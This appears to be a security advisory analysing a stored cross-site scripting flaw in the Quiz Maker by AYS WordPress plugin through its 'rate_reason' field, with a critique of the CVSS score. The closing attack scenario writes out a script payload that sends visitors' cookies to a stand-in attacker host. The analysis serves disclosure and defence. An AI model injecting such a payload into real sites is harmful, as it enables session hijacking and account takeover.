Quiz Maker by AYS EUVD-2026-26786

The vulnerability requires that the 'rate_reason' parameter is exposed and functional in the quiz submission interface - specifically, a public-facing form that accepts user ratings or reviews without authentication. Unauthenticated exploitation is confirmed by CVSS vector PR:N. However, the attacker cannot control exactly which users will be affected (passive victims) - impact depends on site administrators or other visitors viewing the quiz results or rating display page after injection. The vulnerability does NOT require any special plugin configuration or non-default settings - the 'rate_reason' parameter processing is part of the standard plugin functionality. Sites with quiz submission disabled or with access restrictions limiting who can submit quiz responses will reduce exposure, but the core vulnerability exists in all enabled installations of vulnerable versions. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect other users or components beyond the direct scope of the quiz plugin itself.

CVSS score of 5.8 (Medium) with network vector (AV:N), low complexity (AC:L), no privilege requirement (PR:N), and no user interaction (UI:N) indicates a readily exploitable flaw. However, the scope is marked as Changed (S:C) with only Low confidentiality impact (C:L) and no integrity or availability impact, which appears inconsistent with typical Stored XSS severity - stored XSS normally permits account takeover, session hijacking, or page defacement (higher integrity/confidentiality impact). The CVSS vector's UI:N designation is concerning: Stored XSS technically requires a victim to view the injected page, which is a form of user interaction, though not active participation. The absence of KEV confirmation, active exploitation signals, or public POC at time of analysis suggests this is a discovered vulnerability published through coordinated disclosure (Wordfence source) rather than actively exploited in the wild. Risk is elevated for WordPress sites running vulnerable versions with public-facing quiz functionality, but the Medium CVSS rating and lack of active exploitation indicators suggest this is not an emergency-priority patch for most organizations. Organizations with user-generated content features should prioritize updating.

An attacker identifies a WordPress site running Quiz Maker by AYS version 6.7.1.29 or earlier with an exposed quiz submission form. The attacker submits a quiz response containing malicious JavaScript in the 'rate_reason' field, such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The payload is stored in the plugin's database without sanitization. When site administrators or other users view the quiz results or rating summary page, the stored JavaScript executes in their browser context, sending their session cookies to the attacker's server. The attacker can then use stolen session cookies to impersonate users or administrators, depending on which accounts viewed the injected page.